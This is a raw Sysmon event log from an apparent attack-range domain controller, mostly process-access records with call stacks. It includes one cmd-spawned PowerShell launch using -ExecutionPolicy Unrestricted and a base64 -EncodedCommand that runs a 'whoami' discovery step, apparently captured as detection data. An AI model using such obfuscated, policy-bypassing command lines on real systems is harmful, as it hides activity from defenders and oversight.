09:10:12.307{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28F4-5F80-7F00-000000007F01}4876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x80000000000000002702Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.276{A5F018FF-28F4-5F80-7F00-000000007F01}4876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_e2v42r5h.4qc.ps12020-10-09 09:10:12.276 10341000x80000000000000002701Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.260{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28F4-5F80-7F00-000000007F01}4876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002700Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28F4-5F80-7D00-000000007F01}47964816C:\Windows\system32\conhost.exe{A5F018FF-28F4-5F80-7F00-000000007F01}4876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002699Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002698Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002697Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002696Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002695Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002694Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002693Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002692Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002691Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002690Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002689Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002688Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28F4-5F80-7F00-000000007F01}4876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002687Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28F4-5F80-7E00-000000007F01}48604864C:\Windows\system32\cmd.exe{A5F018FF-28F4-5F80-7F00-000000007F01}4876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002686Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.249{A5F018FF-28F4-5F80-7F00-000000007F01}4876C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-28F4-5F80-F3CC-040000000000}0x4ccf30HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-28F4-5F80-7E00-000000007F01}4860C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand dwBoAG8AYQBtAGkA 10341000x80000000000000002685Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002684Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28F4-5F80-7D00-000000007F01}47964816C:\Windows\system32\conhost.exe{A5F018FF-28F4-5F80-7E00-000000007F01}4860C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002683Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002682Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002681Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002680Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002679Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002678Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:10:12.244{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002677Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 